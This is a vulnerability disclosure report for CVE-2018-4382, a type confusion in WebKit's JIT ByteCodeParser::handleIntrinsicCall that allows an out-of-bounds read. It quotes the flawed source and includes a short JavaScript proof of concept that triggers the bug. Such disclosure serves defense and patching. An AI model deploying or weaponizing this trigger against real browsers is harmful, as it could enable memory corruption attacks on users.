`WebKit: JIT: Type confusion bugs in ByteCodeParser::handleIntrinsicCall   
  
CVE-2018-4382  
  
  
case ArrayPushIntrinsic: {  
...  
  
if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX)  
return false;  
  
ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write);  
  
...  
}  
  
This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read.  
  
Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern.  
  
PoC:  
Array.prototype.__defineGetter__('a', Array.prototype.push);  
  
function opt() {  
let arr = new Array(1, 2, 3, 4);  
arr['a' + ''];  
}  
  
for (let i = 0; i < 1000; i++) {  
opt();  
}  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.
